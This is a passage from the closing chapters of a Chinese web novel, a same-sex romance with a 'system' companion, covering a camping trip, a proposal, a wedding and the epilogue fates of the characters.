卓鹭元没想到叶云柏这次来是为了叶院长的事,他还以为是因为贺家的事才来。贺真没有正面回答对方这个问题,反问他:“那贺彦怎么处理,无论怎么说,他似乎都是你养父的亲生儿子。” 叶云柏眼中的光黯淡了一些:“我当然知道。我爸妈听说他那些事的时候一下子老了十岁,偏偏我又不知道该怎么开口。我爸妈去找过贺彦一次,但贺彦并不想见我们,反倒是见了邹卉……就是我的亲生母亲。看她的样子,似乎想等贺彦出来之后一起离开这个地方。” 叶云柏甚至有些意外邹卉的坚持,毕竟听他听说邹卉也是个不好相处的人,他没想到自己的亲生母亲会为了贺彦和贺继明提出离婚,并且想带贺彦离开这里重新开始。 贺真不语,从包里掏出一张协议递了过去:“你说得话很诚恳,但我和你之间并不熟悉,更何况还有一层血缘联系。如果你签下这份协议,你的那些要求我都可以答应。比起以后万一翻脸,我更喜欢把丑话说在前面。” 叶云柏推了推鼻梁上的镜框,认真地看完协议之后,毫不犹豫地签好递给贺真,贺真当着他的面收下了。 叶云柏像褪去什么枷锁一般舒了口气,神态也比之前放松许多:“谢谢你肯帮我,我回去就看最近的机票,一定会尽快离开的。” 卓鹭元看到贺真的谨慎,不由得想起卢俊城,觉得贺真说得很有道理,这一点他得向贺真学习。 叶云柏起身准备离开,贺真却叫住了他:“我看过你的履历,很优秀,也救治了许多病人。你明明可以留在国外,为什么回来了,是因为叶院长吗?” 叶云柏不好意思地笑了笑:“是也不是。我爸妈年龄越来越大了,我也是学医的,总不能不顾他们的身体。再者淮市的。医疗水平比不上国外,所以我更应该回来了。你会不会觉得我有点理想主义?” 卓鹭元没想到叶云柏的想法是这样的,听完之后扭头看向贺真。 贺真笑笑,站起身来对叶云柏说:“如果一个人决意违反协议,那么就算签下再多张也没用。留下来吧,像你所说的一样,淮市需要你,我的疗养院也需要你。如果你够优秀,试着去接你父亲的班吧,然后来帮我让他发展得更好。” “堂哥。” 第66章 第 66 章 “今天的天气真不错…… “今天的天气真不错, 果然适合露营。”卓鹭元带着墨镜坐在副驾,风从耳边吹过, 微微有几分惬意。 贺真专心地开着车,有一搭没一搭地和卓鹭元聊天:“嗯,山上的温度要比市里低一点,昨天让你带的外套拿了吗?” “拿了,就在后座放着呢。”山上昼夜温差大,卓鹭元这次带了不少东西, 贺真甚至找了辆房车让人专门载东西过去,自己开着另外一辆车带着卓鹭元。 他们这次的运气确实比盛俊文好不少,起码是个晴天。上次确实是卓鹭元和贺真理亏在先, 所以这次露营的东西基本都是他们两个准备的, 其他人只是象征性地带了点自己日常用品。 贺真和卓鹭元到的早, 二人来了不久盛俊文也到了,给其他人发了定位之后就开始忙着搭帐篷,争取在其他人来之前先把准备工作做好。 亮子来得晚一点,车里带了些好酒,还专门拿了几瓶烧烤用的酒,怕路上碰碎, 小心地拿出来给盛俊文:“这个放哪儿?” 贺真和卓鹭元在搭帐篷,贺真闻言指着旁边一顶小一点的帐篷说:“那顶帐篷是拿来放杂物的,可以先放里面,需要用了再去拿。” 亮子把酒和其他东西放进帐篷,卷起袖子问他们:“我能做些什么?” 盛俊文指着那边一堆东西说:“山里面不让起明火,好在这一片是专门清出来给别人露营的地方,你帮忙把东西拿出来摆好,食材和调料在贺真他们车上, 厨具我带了,等他们那三个懒蛋来了就能直接烤肉吃饭了。” 李尚乐和杨一群刚才打了电话还在路上,今天他们约定的时间太早,李尚乐下意识把闹钟给关了,还是杨一群这个最了解他的人疯狂给他打电话才把人叫醒。 杨一群发现这人没起来,车子一个调头就杀去他家抓他了,这会儿李尚乐还迷糊着。宁之衡也在路上,只说三十分钟后就到。 李尚乐和杨一群到达露营地点的时候,李尚乐还张着大嘴打哈欠:“啊~为什么露营要起这么早啊,我们就不能晚一点来吗?” 盛俊文冷笑一声:“晚一点来,市里再堵堵车,又是布置又要做饭,我看你什么时候才能把烤肉吃到嘴里。你说你也是,早一点睡觉不行吗,每天熬夜熬那么晚。” “那不行,不熬夜我会死的。”李尚乐连忙摇摇头,晚上的手机才好玩,他根本忍不住不熬夜。 杨一群讥讽他:“傻X,熬夜你才会死好吗?”他自己好歹还经常出去转转,骑个马打个球之类的,李尚乐这个死宅整天就知道闷在家里当电子老鼠人。 卓鹭元懒得和他们斗嘴,两只手拿着帐篷里的零件敲了敲:“来啦?那就来搭帐篷吧,还剩两个没搭。” 贺真的帐篷是按人头买的,怕他们和别人在一起睡不习惯,所以是他和卓鹭元住一个,其他人各住各的,所以一共是六个帐篷,其中贺真和卓鹭元的尺寸稍微大一些。 李尚乐发现还要自己搭帐篷,愁眉苦脸地叹了口气:“啊?还要我自己搭?一群羊,要不咱俩住一起吧,这样还能少搭一个。” “一边去,你能懒死是怎么的?还有你刚才叫我什么?”杨一群不爽地看着李尚乐,李尚乐却毫不在意:“这野外黑漆漆的,万一有个野兽动物什么的,我哪敢一个人睡?” 杨一群脸色变得难看了一点,但还是强撑着不肯露出害怕的样子:“你胡说、胡说什么!算了,就当是我照顾你,住同一个就同一个吧。” 杨一群手脚僵硬地装着帐篷,也不许李尚乐偷懒,像监工一样盯着他按照说明书上的步骤安装起来。 卓鹭元听了李尚乐的话,下意识朝贺真靠近了一点,抱住贺真一条手臂悄声问他:“不会真有动物半夜下山吧?” 贺真的手不经意地搭上卓鹭元的腰,把人往自己怀里带了带,低声对他说:“元元不怕,我赶跑它。” 卓鹭元脸一红,推了他肩膀一把:“我和你说正事呢,你正经一点好不好。”真是的,贺真这个人哪里都好,但总是喜欢突然撩他一下,搞得他有些招架不住。 盛俊文低声骂了一句脏话,放下手中的弄了一半的帐篷去找亮子:“要不咱俩也住同一个帐篷?我看他俩买的帐篷还挺宽敞的,谁也挤不到谁。” 亮子倒是无所谓,但是看盛俊文一脸菜色地揉着眼睛,有些奇怪地问他:“可以啊。倒是你的眼睛怎么了,为什么一直在揉眼睛?” 盛俊文不想说自己不小心看到贺真和卓鹭元打情骂俏了,只说自己眼睛进了沙子:“刚不小心进沙子了。我快把帐篷装好了,来给我搭把手,装好以后一起烤肉。” “行。” 几个人吵吵闹闹地搭好帐篷,宁之衡终于姗姗来迟,看着似乎还在宿醉,真是难为他爬起来了。 宁之衡勉强露出一个笑容:“昨天睡得太晚了,我先歇一会。对了,我带了好多能玩的东西,桌游和扑克都有。” 贺真和卓鹭元看宁之衡困得要死,干脆自己帮他搭好一个帐篷,让他先去睡个回笼觉再说,不然他这低电量模式看着也。支撑不了很久。 卓鹭元烤肉的技术不好,但却很执着地要给贺真烤出一串完美的烤肉。贺真眼看着卓鹭元手下没轻没重,舀一勺盐就要撒上去的时候,还是没忍住抓住了他的手:“盐多了一点。” “是吗?” 卓鹭元没做过饭,感觉不出来多和少的区别,只好听贺真的少放了些,看着肉的颜色变化之后马上翻面,等颜色差不多时眼疾手快地夹给贺真:“快尝尝!” 贺真尝了一口,味道还行,就是有些柴了:“很好吃,我也给你烤。” “嗯嗯。” 卓鹭元展示了厨艺之后就等着贺真给自己烤肉吃。李尚乐小声和杨一群吐槽:“鹭元怎么这么腻歪,谈恋爱真会变傻吗?” “谁知道。”杨一群身边也只有卓鹭元这一对像是认真谈恋爱的同性情侣,其他人不提也罢,他也不了解。 “谈恋爱也没什么不好的,你俩也该试试了。”卓鹭元没觉得哪里不对,谈恋爱也大大方方的:“当然了,我和阿真你们。羡慕不来。” 说完,卓鹭元还向几人露出一个得意的眼神,看得几人牙痒痒。 “坏了,是不是没人叫阿衡?我得赶紧去找他,要不然他要谴责我们了。”盛俊文下意识想找个人吐槽,一扭头才发现宁之衡不在。 “我已经发现了。”宁之衡的声音从盛俊文耳边幽幽传来,眼睛盯着盛俊文碗里的烤肉:“偷吃?” 几个人尬笑着拉住宁之衡坐下,宁之衡睡了个觉又吃了东西,看着总算活过来一点。 宁之衡夹着盘子里的肉,云淡风轻地对几人说:“昨天卢俊城来求我帮忙,我拒绝了。” 卓鹭元拿着筷子的手一顿,抬头看向宁之衡,宁之衡似乎却很平淡,没什么特别的反应:“我和他认识得早,但我最讨厌背叛这种事,昨天去见他也只是做个了断。罢了,毕竟他现在再也没有能力做什么了。” 几个人有些疑惑,贺真却清楚是怎么回事。卢家的正牌大少爷,借着贺真递过来的橄榄枝,把卢家和让他当了许多年私生子的方家全都拉下水了,卢俊城自然。也捞不着好。 这个正牌大少爷也不是个简单的人,他既恨着磋磨了他这么多年的方家,也恨只看能力和利益冰冷又无情的卢家和抢走他身份的卢俊城,更恨换了他人生的贺继明,所以他这么做了,别人都不好过他就好过了。 之后的事宁之衡没有多说,但几人多多少少猜得到,气氛一时有些压抑。 还是卓鹭元开口打破了这诡异的气氛:“好啦,出来玩不要想这么多,都已经过去了,每个人都有每个人的路要走,既然不在同一条路上,那分开就好了。” 盛俊文觉得也是,有些事该翻篇就得翻篇,于是举起酒杯和大家碰了一下。 宁之衡带了不少桌游来,但几个人。嫌看规则麻烦,最后还是决定玩扑克牌,打了一会儿下来就李尚乐和杨一群脸上贴的纸条最多,贺真脸上最少,只有一张,还是放水给卓鹭元让他贴着玩的。 贺真有些累了,起身说自己想出去转转,卓鹭元一听也放下牌跟了上去:“你们先玩,我陪他。” “怎么跟出来了?”贺真拉着卓鹭元的手往前走,边走边说:“上面有一座小山坡,我只是去透透气而已。” 卓鹭元笑嘻嘻地说:“山上景色这么好,我想和你多待一会儿。” 晚风拂过山间,星星悄悄爬上夜幕,卓鹭元抬头看着星空,深呼吸一口气,张开双手感受山间的空气:“为了看着一幕,今天一天的辛苦都值了!” “这样就值了吗?” 贺真突然开口,卓鹭元抻懒腰的动作一顿,奇怪地看向贺真。 贺真从口袋里拿出一个小盒子,打开后单膝跪地,将小盒子拿在手里看着卓鹭元,卓鹭元有些恍惚地看向小盒子,随即不可置信地抬头看着贺真。 里面是一枚钻戒,贺真看着卓鹭元认真地说:“遇到你之后我曾经怀疑过自己的取向,可我后来才发现,我只喜欢你一个人。” 贺真有些紧张,定了定神继续说到:“你很好,是我遇到过最好的人。但我是个自私的人,自私到想独占你未来几十年所有的爱,和你牵着手一起到老。鹭元,你愿意和我一起一直走下去吗?” 卓鹭元沉浸在贺真给他的巨大的惊喜中回不过神,其余好友却都站在不远处大声起哄:“天天和我们秀恩爱,现在怎么不敢答应啦?” “鹭元也有不好意思的时候啊!” 卓鹭元没理他们,半晌才颤抖着声音说:“可是你知道我们没办法结婚的,我们不会被承认的。” 贺真却站起身来将戒指戴在他的无名指上,温柔地看着他:“我不需要他们的承认,我只需要你一个人的承认。鹭元,我签的那份协议并不是一纸空文,那是我除了爱之外唯一拥有的东西,也是我给你的承诺。” “相信我吧,就像那晚在河边一样,相信我到最后一刻。” 卓鹭元听到贺真这么说,思绪一下被拉回那个绝望和希望交织的夜晚。只是这一次和那天不同,卓鹭元看着贺真,心中的被他全部驱散,比以往任何时候都肯定地点了头:“我相信你。” “我也是。” 第67章 第 67 章 “爸,你到底在担心…… “爸, 你到底在担心什么,怎么还不想和阿真的爸妈去见面谈婚礼的事啊?”卓鹭元没心没肺地吃着果盘里的水果, 有些想不通都这会儿了他老爸还在犹豫什么。 卓父恨铁不成钢地用手指点着卓鹭元:“结婚是儿戏吗,那不得慢慢商量?再说了,你爹我活这么多年,还是头一次给两个男人办婚礼,怪你爹我吗?” 卓鹭元心虚地从果盘里摸了个樱桃喂给他爸:“这不是计划赶不上变化嘛,爸你吃水果, 可甜了。婚礼嘛,其实和其他人本质上也没什么不一样的,爸你看开点。” 卓父吃了儿子投喂的樱桃, 嘴里嚼着樱桃边吃边说:“还有你现在和他住的那个房子算怎么回事, 明天爸爸给你重新买一套, 写你的名字。” 卓鹭元笑了一声,原来卓父还在意这种事,于是装模作样地拿起手机说:“阿真,我爸说你买房子要加我的名字,要不然不让咱俩结婚。” 卓父急了,一把夺过卓鹭元的手机骂骂咧咧:“你少给我添油加醋, 我刚才是这样说的吗!那个小贺啊……”卓父夺过卓鹭元的手机,才发现这臭小子根本没在打电话,纯粹在逗自己玩,皮得要死! “哈哈哈,爸你上当了,我怎么可能把这种话说给阿真听啊。你要在意的话我回头和他说让他加上我的名字就行了,没多大事。”卓鹭元凑到卓父旁边嬉皮笑脸地说:“我知道你是为了我好,所以我把这个放在你这。万一以后我糊涂了, 还能把我拉回来。” 卓鹭元把贺真签过的协议给了卓父,让卓父收好:“这样行了吧?” 卓父默默看完协议之后收了起来,准备放进自己房间的保险箱里。看着一脸期待的卓鹭元,卓父还是松了口:“去去去!虽然已经商量好了,你小子也给我矜持一点,还耍你爹玩!” 卓鹭元得到了肯定的答案,心里放下了这件事,转头约贺真去商量礼服的事。卓鹭元对其它事不太操心,连婚流程也想简化,但对婚礼当天的礼服很在意,以后想起来也必须在回忆里闪闪发亮。 卓母端着燕窝出来,转眼间儿子又不见了,她就知道肯定又是去找小贺了,只好放下燕窝自己喝了一口:“元元去找小贺了?” “哼。高兴成那样,还能是去见谁?”卓父把那份协议递给卓母:“这是小贺签的,这孩子都这么有诚意了,我还能说什么。” 卓母也知道这份协议的存在,反倒安慰卓父:“行啦,天大地大比不过元元自己喜欢。小贺是个好孩子,有时候我们也要多给孩子们一点信任。要是我们干涉太多,孩子们的感情没问题也要出问题了。” 卓母说完笑着看向卓父,点破了他那点小心思:“你不就是舍不得儿子,说这些有的没的拖时间,再拖下去儿子都要着急了,人家也以为我们不重视。” 卓父叹了口气:“知道了,我答应这周末见面商量婚事。” 上一次贺父和卓父两个人坐在一起,还是卓父准备和对方摊牌并且棒打鸳鸯的时候,饶是卓父自己也没想到,这没过多久,两家人又重新坐下来,还得商量两个孩子婚礼的事情。 卓父心里很是郁闷,这段日子他背着卓母私下偷偷了解了一下两个男孩子之间的那些事,贺真那个样子怎么看都不像上面那个,自己儿子又是一副非对方不可的恋爱脑样子,搞得卓父莫名有种在嫁女儿的感觉。 好在贺真既不是穷小子也不是凤凰男,严格来说甚至是自己养的小猪凭实力拱到的白菜,这棵大白菜对自己儿子还挺在意的,甚至还提出要办一场婚礼,到底让卓父这颗老父亲的心宽慰了一点。 但也只有一点,谁让自己儿子被拐跑了。 贺父的心情倒是很好,卓家和他们家一直交好,双方家世相当,两个孩子又情投意合,他有哪里不满意的,乐呵呵地给卓鹭元给了一个大红包:“以后就是自家人了,不用这么拘谨。” 贺母也掏出一个红包,当着双方家长的面给了卓鹭元:“好孩子,快拿着。” 卓鹭元接过,刚想说谢谢伯父伯母,看着卓母的眼色才明白过来,有些不好意思地说:“谢谢爸妈。” 卓父卓母也准备了红包,贺真接下后也叫了爸妈,两家人坐下开始商量婚礼的事。卓鹭元听着无聊,无非是在哪办请哪些人来,怎么布置那些杂七杂八的事,听了几分钟就开始抛锚。 贺真悄悄碰了碰卓鹭元,示意他看手机上的消息:要不要溜走? 卓鹭元眼睛一亮,悄悄回复:怎么溜? 贺真想了想,回他:就说公司有事?或者是设计师又有了新想法。结婚真的好麻烦,还好流程都简化了一些。 卓母一看自己儿子那样子,就知道他肯定不耐烦听这些,与其等他找个拙劣的借口,还不如自己开口。卓母看向卓鹭元笑着说:“元元,你和小贺去商量礼服的事吧,我们做家长的还有些话要说。” “啊?好,那我和阿真先走啦!”卓鹭元不知道卓母看穿了自己和贺真的小动作,还在庆幸不用自己开口,拉着贺真就离开了。 茶茶跟在宿主后面,看着宿主和主角离开饭店,有说有笑地讨论婚礼的事,想像往常一样对着宿主笑,然后说些俏皮话,却怎么也笑不出来。 贺真发现了茶茶的不对劲,止住话头问它:“茶茶,你怎么了?” 茶茶露出一个勉强的笑容对贺真说:“没什么啦,就是之前茶茶和宿主说的主系统结算的事,差不多已经到尾声了,茶茶马上也要离开了。” 茶茶垂着头不肯说话,贺真和卓鹭元对视一眼,卓鹭元有些担忧地问:“茶茶,离开的时间是什么时候?” 茶茶被卓鹭元抱了起来,乖顺地窝在卓鹭元怀里,声音也闷闷的:“三天后。所以我赶不上宿主和主角的婚礼了,哇———” 茶茶毫无预兆地哭了出来,这才是它最在意的事情。它好不容易陪着宿主做完任务熬出头,眼看着宿主就要办婚礼了,破系统偏偏在这个时候要结算完成。它跟着听过宿主和主角的婚礼计划,怎么算都在几个月之后,它怎么可能赶得上嘛! 卓鹭元也不想让茶茶缺席,怕刺激到它,商量着问它:“有办法延期一段时间吗?如果我们这边进度快点话,两个月……不,一个月应该可以。” 贺真也舍不得茶茶:“嗯,鹭元还特地给你也定制了小猫穿的礼服和饰品。虽然别人看不见,但我们能看见就够了。” 茶茶更委屈了:“我已经问过了,延期不了的。” 卓鹭元摸着茶茶的毛,在他心里茶茶和贺真一样,都已经被他划分到了家人的范围了,就算别人看不见它也一样。茶茶它帮了自己和贺真那么多,他想让茶茶也能来见证自己的婚礼。 想到这里,卓鹭元下定决心:“三天是吗,交给我吧。茶茶,你一定会参加我们的婚礼。” “诶?!”茶茶不可置信地抬头看向卓鹭元:“三天是不是太紧张了,而且还要请宾客订场地的!”它可是听说过他们想订的。那家酒店,都已经排到几个月后了。 贺真想了想说:“可以做到。我们不打算把婚礼办得很复杂,小范围的话足够了。” 其实他们两个也并不想要那么多人观礼,只是不想给自己留下遗憾才想办这个婚礼。两个人商量好之后就开始行动,从场地到请柬,这三天基本没有闲下来过。 茶茶十分感动,主动跑到卓鹭元身边给他捏肩捶腿,在卓鹭元问它喜欢哪件小衣服的时候,毫不犹豫伸爪指向了最华丽的那一件:“这件,这件看起来就很贵!” “好,那就这件。”卓鹭元马上打电话联系设计师,茶茶个子小,礼服也小,赶工起来不会很麻烦。 好在他和贺真的礼服是前段时间就定好的,卓鹭元为了精度直接花钱买下了设计师近几个月的档期,最近要辛苦设计师了。茶茶看着漂亮的小衣服,也想给宿主捏肩捶腿,却在宿主的眼神中不敢上前。 贺真走后,茶茶小声和卓鹭元耳语:“茶茶告诉你一个秘密哦,其实宿主也是恋爱脑,以前你不回他消息的时候,宿主工作时间也会一直看手机,还不许茶茶告诉你。” “还有这事啊?”卓鹭元笑了,原来不只是他一个人会这样。 贺真回来后看到卓鹭元的笑容,不知道发生了什么事,茶茶倒是心虚地背对着贺真,给卓鹭元捶背捶得更卖力了,可不能被宿主看出破绽。 婚礼的请柬是两个人亲手写的,时间有限,所以数量不算多,等之后以另一方名义办第二场的时候还要写,否则双方父母的宾客邀请不完。 双方父母不知道这两个人突然着什么急,但他俩态度坚决,其他人也只能帮忙了。 在所有人都忙忙碌碌的气氛里,茶茶穿上了自己定制的小猫礼服,十分期待地迎来了贺真和卓鹭元的婚礼。【你现在阅读的是 】 第68章【正文完】 第68章 正文完 “哇!宿主和…… “哇!宿主和主角今天真好看!” 茶茶晃着尾巴, 迈着小碎步跑到贺真和卓鹭元腿边,仰起头看着他们。 今天的贺真和卓鹭元和平时大不一样, 从礼服到配饰,连每一根发丝都是被精心打理过的,两个人站在一起很是般配。 卓鹭元也是第一次见到这样盛装打扮的贺真,沉浸在美色中差点没回过神来,被茶茶这么一说有些不自在地移开了目光。 其实贺真也没比卓鹭元的反应好多少,只不过卓鹭元没发现而已。他看到卓鹭元今天的装扮和他看着自己的目光, 心中柔软万分,还好当时他没错过卓鹭元。只是贺真觉得庆幸的同时又有些不爽,卓鹭元今天格外好看, 他更不想让别人看到了。 卓鹭元看旁边没人, 伸手把茶茶抱起来, 整理了一下他身上的小礼服:“茶茶今天也特别可爱!我和贺真的礼服不能拖尾,但是今天有花童会跟在我们后面撒花和糖果,你要一起来吗?” “要!”茶茶大声回复,趁系统商城还没关闭,眼疾手快地换了一些礼花和糖果,虽然只有他们三个能看到, 但这么重要的日子怎么能没有礼花呢! 茶茶兑换好礼花和糖果跟在贺真和卓鹭元身后,卓鹭元却忽然有些忐忑,贺真温声问他:“怎么了?” 卓鹭元听着外面宾客的说话声,犹犹豫豫地开口:“第一次结婚,忽然有点害怕。倒是你,怎么还那么冷静?”卓鹭元看着贺真还和平时一样,看不出半点紧张,心里有些不平衡。 贺真被卓鹭元看得有些心虚, 只好拉着他的手将他带到自己身边,凑到他耳边对他说:“谁说我不紧张了?你听。”贺真让卓鹭元贴在自己胸膛上,卓鹭元就听到了对方的心跳声,和打鼓似的。 卓鹭元没忍住笑出了声:“我还以为你不紧张,原来只是藏得好。好啦,我突然不是很紧张了。贺先生,我们是不是该出去了?” “嗯,那卓先生可要牵好我的手。”贺真向卓鹭元伸出手,卓鹭元抬手握了上去,两个人一齐向最前方的台子上走去。 贺真和卓鹭元都是男人,两家人又住得近,商量之后就把其他流程都简化了,但最重要的宣誓还是保留了下来。 贺真和卓鹭元沐浴着所有人祝福的目光,牵着手缓缓往前走去。盛俊文果然坐上了主桌,卓鹭元还偷偷给他多塞了一个大红包,算是给红娘的,所以盛俊文这会儿鼓掌得很是卖力。 司仪也是第一次主持这样的婚礼,看着两位新人缓缓说到:“贺真先生,你是否愿意与卓鹭元先生结为终身伴侣?无论健康疾病,贫穷富裕,都与他不离不弃,陪伴他直到生命的尽头?” “我愿意。”贺真看着卓鹭元,满眼都是坚定。 司仪又看向卓鹭元:“卓鹭元先生,你是否愿意与卓鹭元先生结为终身伴侣?无论健康疾病,贫穷富裕,都与他不离不弃,陪伴他直到生命的尽头?” “我愿意。”随着这一句愿意的话音落下,卓鹭元终于有了点自己和贺真结婚的实感,看着贺真的笑容更加明媚。 贺真和卓鹭元在司仪和所有人都见证下交换了戒指,贺真终于忍不住亲吻了卓鹭元,连茶茶也在旁边奔跑着放礼花撒糖果。卓鹭元不好意思地看了一眼周围的人,最后闭上眼睛任由贺真亲了下去。 今天是他的婚礼,他说了算! 后台那边,卓鹭元不好意思地推了贺真一把:“你刚才干吗突然亲我,我差点没反应过来。”余光里他都看到自己老爸没眼看的表情了,他还是第一次在这么多人面前和贺真亲吻,搞得他挺不好意思的。 贺真松了松领口,没有回答卓鹭元的话,反而直接抬起对方的下巴又吻了上去,直到卓鹭元喘不过气才稍稍分开,低声说:“现在没人了。鹭元哥哥今天真好看,害我忍得好辛苦,我要补偿。” “你怎么婚礼也没个正行。”卓鹭元嘴上说着贺真,手倒是很诚实地抱住了贺真,想再次亲上去的时候,两个人却凭空听到“叮”的一声,卓鹭元对这个声音有些陌生,但贺真几乎瞬间反应过来,松开卓鹭元后打开门,果然看到了门口泪眼朦胧的茶茶。 “宿主,茶茶要走了……” 卓鹭元有些着急:“怎么这么快啊!” 主系统还在不断播报着贺真获得的积分奖励,贺真听也不听就直接全部赠送给了茶茶。两个人蹲下身摸着茶茶,卓鹭元十分舍不得它:“你以后要好好照顾自己,不要被别人骗了。对了,我给你准备的小衣服你可以带走吗?” 茶茶遗憾地摇摇头:“不可以的,茶茶脱离小世界不能带走小世界的东西,连这身衣服也不行。” 贺真摸了摸茶茶的小脑袋:“遇到别的宿主别太好说话了,积分自己存起来,对谁都别说。我和鹭元会一直记得你的。” “嗯。”茶茶低落地点点头,小小的身躯还是浮现代码,这是它将要离开的前兆。茶茶后退两步,避免自己代码和数据脱出时出错,恋恋不舍地看着贺真和卓鹭元:“我要走了,宿主和主角要记得想我,不要扔掉我的猫窝和衣服,我还想吃好吃的猫条……” 茶茶的话越来越小声,到最后已经变成了机械的电子音,最后一丝话音也跟着消散了。 卓鹭元有些惆怅,看着那件被留下的猫猫礼服有些回不过神来。贺真环住他的肩膀,让他靠在自己肩头:“如果有缘,总有一天会再见的。说不定这小子完成任务了,还能想起来回来看看我们。” “嗯,一定会的。”卓鹭元也不知是说给别人听还是说给自己听,他答应了茶茶不会忘记想它的。 贺真和卓鹭元的日子过得平静,卢俊城出事之后乔昱褀的项目也跟着出了问题,很快就退出了淮市一线,再也没有能力来找卓鹭元的麻烦。 相反,以前乔家的作派得罪了不少人,尤其是乔昱褀这个乔家大少爷,没少仗着身份对别人做巧取豪夺的事,现在被人一一报复了回来,听人说下面都被废了。 当初那个总和卓父钓鱼的杨叔,出了事之后又回来求卓父,卓父也没有出手相助,就像当初对方对他和卓家做的那样,有时候中立也是一种立场,他看得比谁都清楚。 又过了几年,贺彦也出狱了,听说是邹卉带走了他。邹卉为了贺彦和贺继明离了婚,出狱那天叶云柏收到了一封信,从此之后再也没有见过贺彦。他打开那封信,里面只写了一句话:“你比我幸运,替我告诉贺继明那个混蛋,我欠他的已经还完了。” 至于卢俊城,卢家破产前他卷走了一部分钱离开了淮市,不知道去了哪里。有人说是去了港城,也有人说他想白手起家,淮市再也没人见过他。 方越龙,不,现在应该叫卢越龙,当着贺真的面往地上洒了一杯酒,漫不经心地说:“该清理的都清理完了,我也该退场了。越龙?哼,痴心妄想的人总是比清醒的人要多得多,这就是我为什么讨厌蠢人的原因。只是不知道如今这个结局,贺总满意吗?” 贺真看不惯卢越龙的手段,却承认他的能力:“我并没有将谁引导至如今的结局。如果你有这种想法,不如问问你自己,你的复仇真的如你所说清醒地刹住车了吗?” 卢越龙倒酒的动作一顿,目光像利剑一样向贺真探了过去,贺真不慌不忙地与他对视,继续说道:“你的仇人已经全部得到报应了。作为你短暂的合作伙伴,我只是想提醒你,聪明人的眼睛永远只看着前方,而不是过去。你想过什么样的生活由你自己决定,但前提是别来招惹我,招惹我的下场,相信你已经见过了。” 贺真说完便起身离开,留下若有所思的卢越龙一个人在原地。 “怎么这么久,说好一起去福利院的。”卓鹭元不满地看着贺真,贺真连忙道歉:“说了两句话而已,走吧。” 福利院里比之前要光鲜一些,贺真和卓鹭元时不时就来探望孩子们,每次来都带不少东西,孩子们最喜欢他俩来了。 这天贺真和卓鹭元刚踏进福利院就瞪大了眼睛,连贺真都不可置信地揉了揉自己的眼睛,怀疑是不是自己最近太累看错了,否则为什么会有一个长得像是他和卓鹭元生出来的小孩,站在他们两个面前? 卓鹭元有些恍惚地问贺真:“你有私生子?” 贺真也有些回不过神来:“别胡说,你没发现这孩子有一半长得也像你吗?总不能是我们两个生的吧?” 小孩见两个人不可置信地看着自己,忽然露出一个谄媚地笑容,哒哒哒跑过来,抬起头甜甜地叫了一声:“宿主!我是茶茶呀!” 贺真:“……” 卓鹭元:“……” “所以说,你用我送给你的积分和主系统商量,在这个世界陪我们到生命结束?”贺真总算理清了事情的来龙去脉,茶茶听完点了点头,表示就是这样:“所以我又回来啦!宿主和主角开心吗?” 卓鹭元拉着茶茶左看右看,不明白为什么他要变成这个样子:“那你为什么变成我们两个的样子?”这个长相,说出去不是他俩生的都没人信,而且他们要怎么和爸妈解释啊? 茶茶倒是无所谓:“也可以变成猫啦,只是我以为变成人都话看起来更像宿主和主角的家人啦,嘿嘿!” “才不是这样呢,你是猫猫的时候也是我们的家人呀。”卓鹭元揉了揉他的头,开心的茶茶就要变成猫,被贺真拦了下来:“还是变成人吧。不然一只能和我们一起活几十年的猫,会被人抓走做研究吧?” 卓鹭元一想也是,但还是有些不确定:“但是他这个长相,我们怎么和爸妈说呢?这么小的孩子,也不能说他整过容。” 卓鹭元和茶茶想不出办法,两双水汪汪的眼睛一齐看向贺真。 贺真:“……” “什么基因融合科技生子,你当你爹老糊涂了?老实交代!”在贺父的暴怒声中,卓鹭元和茶茶尴尬地笑了笑,贺真无奈地摊手。 看,他就说这个借口骗不过去吧? —正文完—【你现在阅读的是 】